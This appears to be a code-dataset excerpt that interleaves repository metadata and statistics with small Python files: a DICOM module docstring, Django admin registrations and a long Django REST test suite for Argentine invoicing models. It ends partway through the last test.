"MIT"
] | 2
|
2016-03-26T09:43:55.000Z
|
2016-11-15T11:22:06.000Z
|
medimg/dcm/__init__.py
|
arokem/nimsdata
|
9aba149969a4d86d18cf0d731fbd562cc0e8bfeb
|
[
"MIT"
] | null | null | null |
medimg/dcm/__init__.py
|
arokem/nimsdata
|
9aba149969a4d86d18cf0d731fbd562cc0e8bfeb
|
[
"MIT"
] | 1
|
2017-11-18T10:06:57.000Z
|
2017-11-18T10:06:57.000Z
|
"""
nimsdata.medimg.dcm
===================
TODO: docs? here? yes.
Currently supported dicoms include the following Manufacturers and SOPs
SUPPORTED_MFR
- 'GE MEDICAL SYSTEMS'
- 'SIEMENS'
SUPPORTED_SOP
- '1.2.840.10008.5.1.4.1.1.4' MR Image
- '1.2.840.10008.5.1.4.1.1.7' Secondary Capture
- '1.3.12.2.1107.5.9.1' Private Syngo CSA Non-Image; SIEMENS ONLY
- '1.2.840.10008.5.1.4.1.1.88.22' Enhanced SR
- '1.2.840.10008.5.1.4.1.1.128' PET
- '1.2.840.10008.5.1.4.1.1.130' Enhanced PET
- '1.2.840.10008.5.1.4.1.1.128.1' Legacy Enhanced PET
"""
| 26.826087
| 81
| 0.583468
| 113
| 617
| 3.168142
| 0.442478
| 0.039106
| 0.083799
| 0.167598
| 0.284916
| 0.284916
| 0.284916
| 0.284916
| 0.284916
| 0.159218
| 0
| 0.244306
| 0.21718
| 617
| 22
| 82
| 28.045455
| 0.496894
| 0.983793
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0.045455
| null | 1
| null | true
| 0
| 0
| null | null | null | 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 6
|
45ca35a0fa15eddc046aeaf9cbdd5eec81b1f362
| 47
|
py
|
Python
|
classifier/fracture_detector/callback/__init__.py
|
MIPT-Oulu/DeepWrist
|
9c26ee8639d748671f30a7a45487885989c53fa1
|
[
"MIT"
] | 2
|
2021-03-03T12:38:15.000Z
|
2022-03-16T10:57:28.000Z
|
classifier/fracture_detector/callback/__init__.py
|
MIPT-Oulu/DeepWrist
|
9c26ee8639d748671f30a7a45487885989c53fa1
|
[
"MIT"
] | 2
|
2022-03-07T20:03:42.000Z
|
2022-03-09T10:47:42.000Z
|
classifier/fracture_detector/callback/__init__.py
|
MIPT-Oulu/DeepWrist
|
9c26ee8639d748671f30a7a45487885989c53fa1
|
[
"MIT"
] | null | null | null |
from ._callback_ptl import ReleaseAfterCallback
| 47
| 47
| 0.914894
| 5
| 47
| 8.2
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.06383
| 47
| 1
| 47
| 47
| 0.931818
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
45cd3bffb17086c822a03c780110bdb0ff225e07
| 38
|
py
|
Python
|
OctaHomeNagios/OctaFiles/__init__.py
|
Tomcuzz/OctaHomeAutomation
|
4f0c5ea8b3d5b6e67633ae9c4cb95287d2784f5e
|
[
"MIT"
] | 4
|
2016-08-14T22:07:03.000Z
|
2020-10-05T14:43:03.000Z
|
OctaHomeNagios/OctaFiles/__init__.py
|
Tomcuzz/OctaHomeAutomation
|
4f0c5ea8b3d5b6e67633ae9c4cb95287d2784f5e
|
[
"MIT"
] | null | null | null |
OctaHomeNagios/OctaFiles/__init__.py
|
Tomcuzz/OctaHomeAutomation
|
4f0c5ea8b3d5b6e67633ae9c4cb95287d2784f5e
|
[
"MIT"
] | null | null | null |
from menus import *
from urls import *
| 19
| 19
| 0.763158
| 6
| 38
| 4.833333
| 0.666667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.184211
| 38
| 2
| 20
| 19
| 0.935484
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
b3132fe7d6b452962cc26ebd5ca01167a2bec067
| 265
|
py
|
Python
|
nfsmain/admin.py
|
Kirkkonen/NetForSpeech
|
d4e7aee3003c88cb7afa21802ca724f55dc10604
|
[
"Apache-2.0"
] | null | null | null |
nfsmain/admin.py
|
Kirkkonen/NetForSpeech
|
d4e7aee3003c88cb7afa21802ca724f55dc10604
|
[
"Apache-2.0"
] | 18
|
2015-02-21T14:38:41.000Z
|
2015-04-27T08:23:21.000Z
|
nfsmain/admin.py
|
kromkrom/NetForSpeech
|
d4e7aee3003c88cb7afa21802ca724f55dc10604
|
[
"Apache-2.0"
] | null | null | null |
from django.contrib import admin
import nfsmain.models
# Register your models here.
admin.site.register(nfsmain.models.Organisation)
admin.site.register(nfsmain.models.Speech)
admin.site.register(nfsmain.models.Interview)
admin.site.register(nfsmain.models.Event)
| 29.444444
| 48
| 0.833962
| 36
| 265
| 6.138889
| 0.416667
| 0.294118
| 0.307692
| 0.434389
| 0.542986
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.060377
| 265
| 9
| 49
| 29.444444
| 0.88755
| 0.098113
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 6
|
b36db078f5ad5b524a09271c885138fe8560c69f
| 40
|
py
|
Python
|
lale/datasets/uci/__init__.py
|
haodeqi/lale
|
b58cda5d17ba6ee233e9afa91844afa413af5520
|
[
"Apache-2.0"
] | null | null | null |
lale/datasets/uci/__init__.py
|
haodeqi/lale
|
b58cda5d17ba6ee233e9afa91844afa413af5520
|
[
"Apache-2.0"
] | null | null | null |
lale/datasets/uci/__init__.py
|
haodeqi/lale
|
b58cda5d17ba6ee233e9afa91844afa413af5520
|
[
"Apache-2.0"
] | null | null | null |
from .uci_datasets import fetch_drugscom
| 40
| 40
| 0.9
| 6
| 40
| 5.666667
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.075
| 40
| 1
| 40
| 40
| 0.918919
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 6
|
b36f7b55fef96f9aeb10f4219fd2d711b6be42d7
| 39,009
|
py
|
Python
|
invoice_ar/tests/test_serializers.py
|
mbaragiola/heimdallerp
|
8d32131a20bd0f3609d772ac437f4f24622abfc7
|
[
"0BSD"
] | 8
|
2016-04-07T11:58:42.000Z
|
2019-06-24T01:38:12.000Z
|
invoice_ar/tests/test_serializers.py
|
mbaragiola/heimdallerp
|
8d32131a20bd0f3609d772ac437f4f24622abfc7
|
[
"0BSD"
] | null | null | null |
invoice_ar/tests/test_serializers.py
|
mbaragiola/heimdallerp
|
8d32131a20bd0f3609d772ac437f4f24622abfc7
|
[
"0BSD"
] | null | null | null |
from datetime import date, timedelta
from decimal import Decimal
from contact.models import Contact
from django.contrib.auth.models import User
from django.core.urlresolvers import reverse
from geo.models import Country, Locality
from invoice.models import (INVOICE_STATUSTYPE_DRAFT, VAT, CompanyInvoice,
FiscalPosition, InvoiceType, Product)
from invoice_ar import models
from persons.models import Company
from rest_framework import status
from rest_framework.test import APITestCase
class CompanyInvoiceARTestCase(APITestCase):
"""
"""
fixtures = [
'invoice_ar/tests/fixtures/users.json',
'invoice_ar/tests/fixtures/geo.json',
'invoice_ar/tests/fixtures/invoicing.json'
]
def setUp(self):
admin = User.objects.get(username='admin')
self.client.force_authenticate(user=admin)
url = reverse('api:invoice_ar:companyinvoicear-list')
data = {
'invoice_company': {
'persons_company': {
'fantasy_name': 'IRONA',
'slogan': 'tfw no slogan'
},
'legal_name': 'Baragiola-Zanitti SH',
'initiated_activities': '2016-01-01',
'fiscal_position': (
reverse(
'api:invoice:fiscalposition-detail',
args=[FiscalPosition.objects.get(name='Do Easy').pk]
)
),
'fiscal_address': {
'street_address': '9 de Julio 2454',
'floor_number': '',
'apartment_number': '',
'locality': reverse(
'api:geo:locality-detail',
args=[
Locality.objects.get(default_name='Santa Fe').pk
]
),
'postal_code': '3000'
},
'default_invoice_debit_account': '',
'default_invoice_credit_account': ''
},
'cuit': '30111111118',
'iibb': '123456',
'key': 'aaa',
'cert': 'aaa'
}
self.response = self.client.post(url, data)
def tearDown(self):
models.CompanyInvoiceAR.objects.get().delete()
CompanyInvoice.objects.get().delete()
Company.objects.get().delete()
def test_create(self):
self.assertEqual(self.response.status_code, status.HTTP_201_CREATED)
self.assertEqual(models.CompanyInvoiceAR.objects.count(), 1)
def test_correctness(self):
obj = models.CompanyInvoiceAR.objects.get(
invoice_company__legal_name='Baragiola-Zanitti SH'
)
self.assertEqual(
obj.invoice_company.persons_company.fantasy_name,
'IRONA'
)
self.assertEqual(
obj.invoice_company.legal_name,
'Baragiola-Zanitti SH'
)
self.assertEqual(
obj.invoice_company.persons_company.slogan,
'tfw no slogan'
)
self.assertEqual(
obj.invoice_company.initiated_activities,
date(2016, 1, 1)
)
self.assertEqual(
obj.invoice_company.fiscal_position,
FiscalPosition.objects.get(name='Do Easy')
)
self.assertEqual(
obj.invoice_company.fiscal_address.street_address,
'9 de Julio 2454'
)
self.assertEqual(
obj.invoice_company.fiscal_address.floor_number,
''
)
self.assertEqual(
obj.invoice_company.fiscal_address.apartment_number,
''
)
self.assertEqual(
obj.invoice_company.fiscal_address.locality,
Locality.objects.get(pk=1)
)
self.assertEqual(
obj.invoice_company.fiscal_address.postal_code,
'3000'
)
self.assertEqual(
obj.cuit,
'30111111118'
)
self.assertEqual(
obj.iibb,
'123456'
)
self.assertEqual(
obj.key,
'aaa'
)
self.assertEqual(
obj.cert,
'aaa'
)
def test_update(self):
admin = User.objects.get(username='admin')
self.client.force_authenticate(user=admin)
url = reverse(
'api:invoice_ar:companyinvoicear-detail',
args=[
models.CompanyInvoiceAR.objects.get(
invoice_company__legal_name='Baragiola-Zanitti SH'
).pk
]
)
data = {
'invoice_company': {
'persons_company': {
'fantasy_name': 'ANORI',
'slogan': 'when face the slogan no'
},
'legal_name': 'Zanitti-Baragiola SH',
'initiated_activities': '2015-02-03',
'fiscal_position': reverse(
'api:invoice:fiscalposition-detail',
args=[FiscalPosition.objects.get(name='Do No Easy').pk]
),
'fiscal_address': {
'street_address': 'San Martín 1100',
'floor_number': '1',
'apartment_number': '2',
'locality': reverse(
'api:geo:locality-detail',
args=[
Locality.objects.get(default_name='Rosario').pk
]
),
'postal_code': '2000'
},
'default_invoice_debit_account': '',
'default_invoice_credit_account': ''
},
'cuit': '30222222229',
'iibb': '654321',
'key': 'aaa',
'cert': 'aaa',
}
response = self.client.put(url, data)
self.assertEqual(response.status_code, status.HTTP_200_OK)
obj = models.CompanyInvoiceAR.objects.get(
invoice_company__legal_name='Zanitti-Baragiola SH'
)
self.assertEqual(
obj.invoice_company.persons_company.fantasy_name,
'ANORI'
)
self.assertEqual(
obj.invoice_company.legal_name,
'Zanitti-Baragiola SH'
)
self.assertEqual(
obj.invoice_company.persons_company.slogan,
'when face the slogan no'
)
self.assertEqual(
obj.invoice_company.initiated_activities,
date(2015, 2, 3)
)
self.assertEqual(
obj.invoice_company.fiscal_position,
FiscalPosition.objects.get(name='Do No Easy')
)
self.assertEqual(
obj.invoice_company.fiscal_address.street_address,
'San Martín 1100'
)
self.assertEqual(
obj.invoice_company.fiscal_address.floor_number,
'1'
)
self.assertEqual(
obj.invoice_company.fiscal_address.apartment_number,
'2'
)
self.assertEqual(
obj.invoice_company.fiscal_address.locality,
Locality.objects.get(pk=2)
)
self.assertEqual(
obj.invoice_company.fiscal_address.postal_code,
'2000'
)
self.assertEqual(
obj.cuit,
'30222222229'
)
self.assertEqual(
obj.iibb,
'654321'
)
self.assertEqual(
obj.key,
'aaa'
)
self.assertEqual(
obj.cert,
'aaa'
)
data = {
'invoice_company': {
'persons_company': {
'fantasy_name': 'ANORI',
'slogan': 'when face the slogan no :^)'
},
'legal_name': 'Zanitti-Baragiola SH',
'initiated_activities': '2015-02-04',
'fiscal_position': reverse(
'api:invoice:fiscalposition-detail',
args=[FiscalPosition.objects.get(name='Do No Easy').pk]
),
'fiscal_address': {
'street_address': 'San Martín 1100',
'floor_number': '1',
'apartment_number': '2',
'locality': reverse(
'api:geo:locality-detail',
args=[
Locality.objects.get(default_name='Rosario').pk
]
),
'postal_code': '2000'
},
'default_invoice_debit_account': '',
'default_invoice_credit_account': ''
},
'cuit': '30222222229',
'iibb': '654321',
'key': 'aaa',
'cert': 'aaa',
}
response = self.client.put(url, data)
self.assertEqual(response.status_code, status.HTTP_200_OK)
obj = models.CompanyInvoiceAR.objects.get(
invoice_company__legal_name='Zanitti-Baragiola SH'
)
self.assertEqual(
obj.invoice_company.persons_company.fantasy_name,
'ANORI'
)
self.assertEqual(
obj.invoice_company.legal_name,
'Zanitti-Baragiola SH'
)
self.assertEqual(
obj.invoice_company.persons_company.slogan,
'when face the slogan no :^)'
)
self.assertEqual(
obj.invoice_company.initiated_activities,
date(2015, 2, 4)
)
self.assertEqual(
obj.invoice_company.fiscal_position,
FiscalPosition.objects.get(name='Do No Easy')
)
self.assertEqual(
obj.invoice_company.fiscal_address.street_address,
'San Martín 1100'
)
self.assertEqual(
obj.invoice_company.fiscal_address.floor_number,
'1'
)
self.assertEqual(
obj.invoice_company.fiscal_address.apartment_number,
'2'
)
self.assertEqual(
obj.invoice_company.fiscal_address.locality,
Locality.objects.get(pk=2)
)
self.assertEqual(
obj.invoice_company.fiscal_address.postal_code,
'2000'
)
self.assertEqual(
obj.cuit,
'30222222229'
)
self.assertEqual(
obj.iibb,
'654321'
)
self.assertEqual(
obj.key,
'aaa'
)
self.assertEqual(
obj.cert,
'aaa'
)
class ContactInvoiceARTestCase(APITestCase):
"""
"""
fixtures = [
'invoice_ar/tests/fixtures/users.json',
'invoice_ar/tests/fixtures/geo.json',
'invoice_ar/tests/fixtures/invoicing.json',
'invoice_ar/tests/fixtures/companies.json'
]
def setUp(self):
admin = User.objects.get(username='admin')
self.client.force_authenticate(user=admin)
url = reverse('api:invoice_ar:contactinvoicear-list')
data = {
'invoice_contact': {
'contact_contact': {
'persons_company': reverse(
'api:persons:company-detail',
args=[
Company.objects.get(fantasy_name='IRONA').pk
]
),
'name': 'Tobias Riper',
'birth_date': '1970-07-07',
'born_in': reverse(
'api:geo:country-detail',
args=[
Country.objects.get(default_name='Argentina').pk
]
),
'phone_numbers': '555444555,333222333',
'extra_emails': (
'[email protected]'
),
'contact_type': 'I',
'home_address': {
'street_address': '9 de Julio 2454',
'floor_number': '',
'apartment_number': '',
'locality': reverse(
'api:geo:locality-detail',
args=[
Locality.objects.get(
default_name='Santa Fe'
).pk
]
),
'postal_code': '3000'
}
},
'legal_name': 'Tobias Riper',
'fiscal_position': reverse(
'api:invoice:fiscalposition-detail',
args=[FiscalPosition.objects.get(name='Do Easy').pk]
),
'fiscal_address': {
'street_address': '9 de Julio 2454',
'floor_number': '',
'apartment_number': '',
'locality': reverse(
'api:geo:locality-detail',
args=[
Locality.objects.get(default_name='Santa Fe').pk
]
),
'postal_code': '3000'
}
},
'id_type': models.ID_TYPE_CUIT,
'id_number': '20111111112'
}
self.response = self.client.post(url, data)
def tearDown(self):
models.ContactInvoiceAR.objects.get().delete()
Contact.objects.get().delete()
def test_create(self):
self.assertEqual(self.response.status_code, status.HTTP_201_CREATED)
self.assertEqual(models.ContactInvoiceAR.objects.count(), 1)
def test_correctness(self):
obj = models.ContactInvoiceAR.objects.get(
invoice_contact__legal_name='Tobias Riper'
)
contact_contact = obj.invoice_contact.contact_contact
self.assertEqual(
contact_contact.persons_company,
Company.objects.get(fantasy_name='IRONA')
)
self.assertEqual(
contact_contact.name,
'Tobias Riper'
)
self.assertEqual(
contact_contact.birth_date,
date(1970, 7, 7)
)
self.assertEqual(
contact_contact.born_in,
Country.objects.get(pk=1)
)
self.assertEqual(
contact_contact.phone_numbers,
'555444555,333222333'
)
self.assertEqual(
contact_contact.extra_emails,
'[email protected]'
)
self.assertEqual(
contact_contact.contact_type,
'I'
)
self.assertEqual(
contact_contact.home_address.street_address,
'9 de Julio 2454'
)
self.assertEqual(
contact_contact.home_address.floor_number,
''
)
self.assertEqual(
contact_contact.home_address.apartment_number,
''
)
self.assertEqual(
contact_contact.home_address.locality,
Locality.objects.get(pk=1)
)
self.assertEqual(
contact_contact.home_address.postal_code,
'3000'
)
self.assertEqual(
obj.invoice_contact.legal_name,
'Tobias Riper'
)
self.assertEqual(
obj.invoice_contact.fiscal_position,
FiscalPosition.objects.get(name='Do Easy')
)
self.assertEqual(
obj.invoice_contact.fiscal_address.street_address,
'9 de Julio 2454'
)
self.assertEqual(
obj.invoice_contact.fiscal_address.floor_number,
''
)
self.assertEqual(
obj.invoice_contact.fiscal_address.apartment_number,
''
)
self.assertEqual(
obj.invoice_contact.fiscal_address.locality,
Locality.objects.get(pk=1)
)
self.assertEqual(
obj.invoice_contact.fiscal_address.postal_code,
'3000'
)
self.assertEqual(
obj.id_type,
models.ID_TYPE_CUIT
)
self.assertEqual(
obj.id_number,
'20111111112'
)
def test_update(self):
admin = User.objects.get(username='admin')
self.client.force_authenticate(user=admin)
url = reverse(
'api:invoice_ar:contactinvoicear-detail',
args=[
models.ContactInvoiceAR.objects.get(
invoice_contact__legal_name='Tobias Riper'
).pk
]
)
data = {
'invoice_contact': {
'contact_contact': {
'persons_company': (
reverse(
'api:persons:company-detail',
args=[
Company.objects.get(fantasy_name='IRONA').pk
]
)
),
'name': 'Riper Tobias',
'birth_date': '1980-09-09',
'born_in': reverse(
'api:geo:country-detail',
args=[
Country.objects.get(default_name='Uruguay').pk
]
),
'phone_numbers': '123456',
'extra_emails': (
'[email protected]'
),
'contact_type': 'C',
'home_address': {
'street_address': 'San Martín 1100',
'floor_number': '1',
'apartment_number': '2',
'locality': reverse(
'api:geo:locality-detail',
args=[
Locality.objects.get(
default_name='Rosario'
).pk
]
),
'postal_code': '2000'
}
},
'legal_name': 'Riper Tobias',
'fiscal_position': reverse(
'api:invoice:fiscalposition-detail',
args=[FiscalPosition.objects.get(name='Do No Easy').pk]
),
'fiscal_address': {
'street_address': 'San Martín 1100',
'floor_number': '1',
'apartment_number': '2',
'locality': reverse(
'api:geo:locality-detail',
args=[
Locality.objects.get(default_name='Rosario').pk
]
),
'postal_code': '2000'
}
},
'id_type': models.ID_TYPE_CUIL,
'id_number': '20222222223'
}
response = self.client.put(url, data)
self.assertEqual(response.status_code, status.HTTP_200_OK)
obj = models.ContactInvoiceAR.objects.get(
invoice_contact__legal_name='Riper Tobias'
)
contact_contact = obj.invoice_contact.contact_contact
self.assertEqual(
contact_contact.persons_company,
Company.objects.get(fantasy_name='IRONA')
)
self.assertEqual(
contact_contact.name,
'Riper Tobias'
)
self.assertEqual(
contact_contact.birth_date,
date(1980, 9, 9)
)
self.assertEqual(
contact_contact.born_in,
Country.objects.get(default_name='Uruguay')
)
self.assertEqual(
contact_contact.phone_numbers,
'123456'
)
self.assertEqual(
contact_contact.extra_emails,
'[email protected]'
)
self.assertEqual(
contact_contact.contact_type,
'C'
)
self.assertEqual(
contact_contact.home_address.street_address,
'San Martín 1100'
)
self.assertEqual(
contact_contact.home_address.floor_number,
'1'
)
self.assertEqual(
contact_contact.home_address.apartment_number,
'2'
)
self.assertEqual(
contact_contact.home_address.locality,
Locality.objects.get(default_name='Rosario')
)
self.assertEqual(
contact_contact.home_address.postal_code,
'2000'
)
self.assertEqual(
obj.invoice_contact.legal_name,
'Riper Tobias'
)
self.assertEqual(
obj.invoice_contact.fiscal_position,
FiscalPosition.objects.get(name='Do No Easy')
)
self.assertEqual(
obj.invoice_contact.fiscal_address.street_address,
'San Martín 1100'
)
self.assertEqual(
obj.invoice_contact.fiscal_address.floor_number,
'1'
)
self.assertEqual(
obj.invoice_contact.fiscal_address.apartment_number,
'2'
)
self.assertEqual(
obj.invoice_contact.fiscal_address.locality,
Locality.objects.get(default_name='Rosario')
)
self.assertEqual(
obj.invoice_contact.fiscal_address.postal_code,
'2000'
)
self.assertEqual(
obj.id_type,
models.ID_TYPE_CUIL
)
self.assertEqual(
obj.id_number,
'20222222223'
)
class ConceptTypeTestCase(APITestCase):
"""
"""
fixtures = [
'invoice_ar/tests/fixtures/users.json'
]
def setUp(self):
admin = User.objects.get(username='admin')
self.client.force_authenticate(user=admin)
url = reverse('api:invoice_ar:concepttype-list')
data = {
'name': 'Do Easy',
'code': '1',
}
self.response = self.client.post(url, data)
def tearDown(self):
models.ConceptType.objects.get().delete()
def test_create(self):
self.assertEqual(self.response.status_code, status.HTTP_201_CREATED)
self.assertEqual(models.ConceptType.objects.count(), 1)
def test_correctness(self):
obj = models.ConceptType.objects.get(name='Do Easy')
self.assertEqual(obj.name, 'Do Easy')
self.assertEqual(obj.code, '1')
class InvoiceARHasVATSubtotalTestCase(APITestCase):
"""
"""
fixtures = [
'invoice_ar/tests/fixtures/users.json',
'invoice_ar/tests/fixtures/invoicing.json'
]
def setUp(self):
admin = User.objects.get(username='admin')
self.client.force_authenticate(user=admin)
url = reverse('api:invoice_ar:invoicearhasvatsubtotal-list')
data = {
'vat': reverse(
'api:invoice:vat-detail',
args=[VAT.objects.get(name='10%').pk]
),
'subtotal': 100.00,
}
self.response = self.client.post(url, data)
def tearDown(self):
models.InvoiceARHasVATSubtotal.objects.get().delete()
def test_create(self):
self.assertEqual(self.response.status_code, status.HTTP_201_CREATED)
self.assertEqual(models.InvoiceARHasVATSubtotal.objects.count(), 1)
def test_correctness(self):
obj = models.InvoiceARHasVATSubtotal.objects.get(vat__name='10%')
self.assertEqual(
obj.vat,
VAT.objects.get(name='10%')
)
self.assertEqual(obj.subtotal, Decimal('100.00'))
class PointOfSaleARTestCase(APITestCase):
"""
"""
fixtures = [
'invoice_ar/tests/fixtures/geo.json',
'invoice_ar/tests/fixtures/users.json',
'invoice_ar/tests/fixtures/invoicing.json',
'invoice_ar/tests/fixtures/companies.json'
]
def setUp(self):
admin = User.objects.get(username='admin')
self.client.force_authenticate(user=admin)
url = reverse('api:invoice_ar:pointofsalear-list')
invoicear_company = models.CompanyInvoiceAR.objects.get(
invoice_company__legal_name='Baragiola-Zanitti SH'
)
data = {
'invoicear_company': reverse(
'api:invoice_ar:companyinvoicear-detail',
args=[invoicear_company.pk]
),
'afip_id': 1,
'fantasy_name': 'testing',
'point_of_sale_type': models.POINTOFSALE_TYPE_WEBSERVICE,
'fiscal_address': {
'street_address': '9 de Julio 2454',
'floor_number': '',
'apartment_number': '',
'locality': reverse(
'api:geo:locality-detail',
args=[Locality.objects.get(default_name='Santa Fe').pk]
),
'postal_code': '3000'
},
'is_inactive': False
}
self.response = self.client.post(url, data)
def tearDown(self):
models.PointOfSaleAR.objects.get().delete()
def test_create(self):
self.assertEqual(self.response.status_code, status.HTTP_201_CREATED)
self.assertEqual(models.PointOfSaleAR.objects.count(), 1)
def test_correctness(self):
invoicear_company = models.CompanyInvoiceAR.objects.get(
invoice_company__legal_name='Baragiola-Zanitti SH'
)
obj = models.PointOfSaleAR.objects.get(
invoicear_company=invoicear_company
)
self.assertEqual(
obj.invoicear_company,
invoicear_company
)
self.assertEqual(obj.afip_id, 1)
self.assertEqual(obj.fantasy_name, 'testing')
self.assertEqual(
obj.point_of_sale_type,
models.POINTOFSALE_TYPE_WEBSERVICE
)
self.assertEqual(
obj.fiscal_address.street_address,
'9 de Julio 2454'
)
self.assertEqual(
obj.fiscal_address.floor_number,
''
)
self.assertEqual(
obj.fiscal_address.apartment_number,
''
)
self.assertEqual(
obj.fiscal_address.locality,
Locality.objects.get(default_name='Santa Fe')
)
self.assertEqual(
obj.fiscal_address.postal_code,
'3000'
)
self.assertEqual(
obj.is_inactive,
False
)
def test_update(self):
admin = User.objects.get(username='admin')
self.client.force_authenticate(user=admin)
invoicear_company_1 = models.CompanyInvoiceAR.objects.get(
invoice_company__legal_name='Baragiola-Zanitti SH'
)
obj = models.PointOfSaleAR.objects.get(
invoicear_company=invoicear_company_1
)
url = reverse('api:invoice_ar:pointofsalear-detail', args=[obj.pk])
invoicear_company_2 = models.CompanyInvoiceAR.objects.get(
invoice_company__legal_name='Zanitti-Baragiola SH'
)
data = {
'invoicear_company': reverse(
'api:invoice_ar:companyinvoicear-detail',
args=[invoicear_company_2.pk]
),
'afip_id': 7,
'fantasy_name': 'still testing',
'point_of_sale_type': models.POINTOFSALE_TYPE_ENLINEA,
'fiscal_address': {
'street_address': 'San Martin 1300',
'floor_number': '1',
'apartment_number': '2',
'locality': reverse(
'api:geo:locality-detail',
args=[Locality.objects.get(default_name='Rosario').pk]
),
'postal_code': '2000'
},
'is_inactive': True
}
response = self.client.put(url, data)
self.assertEqual(response.status_code, status.HTTP_200_OK)
obj = models.PointOfSaleAR.objects.get(
invoicear_company=invoicear_company_1
)
self.assertEqual(
obj.invoicear_company,
invoicear_company_1
)
self.assertEqual(obj.afip_id, 7)
self.assertEqual(obj.fantasy_name, 'still testing')
self.assertEqual(
obj.point_of_sale_type,
models.POINTOFSALE_TYPE_ENLINEA
)
self.assertEqual(
obj.fiscal_address.street_address,
'San Martin 1300'
)
self.assertEqual(
obj.fiscal_address.floor_number,
'1'
)
self.assertEqual(
obj.fiscal_address.apartment_number,
'2'
)
self.assertEqual(
obj.fiscal_address.locality,
Locality.objects.get(default_name='Rosario')
)
self.assertEqual(
obj.fiscal_address.postal_code,
'2000'
)
self.assertEqual(
obj.is_inactive,
True
)
class InvoiceARTestCase(APITestCase):
"""
"""
fixtures = [
'invoice_ar/tests/fixtures/users.json',
'invoice_ar/tests/fixtures/geo.json',
'invoice_ar/tests/fixtures/invoicing.json',
'invoice_ar/tests/fixtures/companies.json',
'invoice_ar/tests/fixtures/products.json',
'invoice_ar/tests/fixtures/contacts.json',
'invoice_ar/tests/fixtures/pos.json'
]
def setUp(self):
admin = User.objects.get(username='admin')
self.client.force_authenticate(user=admin)
url = reverse('api:invoice_ar:invoicear-list')
data = {
'invoicear_company': reverse(
'api:invoice_ar:companyinvoicear-detail',
args=[
models.CompanyInvoiceAR.objects.get(
invoice_company__legal_name='Baragiola-Zanitti SH'
).pk
]
),
'invoicear_contact': reverse(
'api:invoice_ar:contactinvoicear-detail',
args=[
models.ContactInvoiceAR.objects.get(
invoice_contact__legal_name='Tobias Riper'
).pk
]
),
'number': 1,
'invoice_lines': [
{
'product': reverse(
'api:invoice:product-detail',
args=[Product.objects.get(name='Do Easy').pk]
),
'price_sold': 100.00,
'discount': 0.00,
'quantity': 2,
'description': 'hello there'
},
{
'product': reverse(
'api:invoice:product-detail',
args=[
Product.objects.get(name='Do No Easy').pk
]
),
'price_sold': 200.00,
'discount': 0.50,
'quantity': 1,
'description': ''
}
],
'invoice_type': reverse(
'api:invoice:invoicetype-detail',
args=[InvoiceType.objects.get(name='Do Easy').pk]
),
'invoice_date': str(date.today()),
'notes': 'cardio kills gains',
'point_of_sale_ar': reverse(
'api:invoice_ar:pointofsalear-detail',
args=[models.PointOfSaleAR.objects.get(afip_id=1).pk]
),
'due_date': str(date.today() + timedelta(days=30)),
'service_start': str(date.today()),
'service_end': str(date.today()),
'concept_type': reverse(
'api:invoice_ar:concepttype-detail',
args=[models.ConceptType.objects.get(name='Do Easy').pk]
)
}
self.response = self.client.post(url, data)
def tearDown(self):
models.InvoiceAR.objects.get().delete()
def test_create(self):
self.assertEqual(self.response.status_code, status.HTTP_201_CREATED)
self.assertEqual(models.InvoiceAR.objects.count(), 1)
def test_correctness(self):
obj = models.InvoiceAR.objects.get(number=1)
self.assertEqual(
obj.invoicear_company,
models.CompanyInvoiceAR.objects.get(
invoice_company__legal_name='Baragiola-Zanitti SH'
)
)
self.assertEqual(
obj.invoicear_contact,
models.ContactInvoiceAR.objects.get(
invoice_contact__legal_name='Tobias Riper'
)
)
self.assertEqual(obj.number, 1)
self.assertEqual(
obj.invoice_type,
InvoiceType.objects.get(name='Do Easy')
)
self.assertEqual(obj.invoice_date, date.today())
self.assertEqual(obj.notes, 'cardio kills gains')
self.assertEqual(
obj.point_of_sale_ar,
models.PointOfSaleAR.objects.get(afip_id=1)
)
self.assertEqual(
obj.due_date,
date.today() + timedelta(days=30)
)
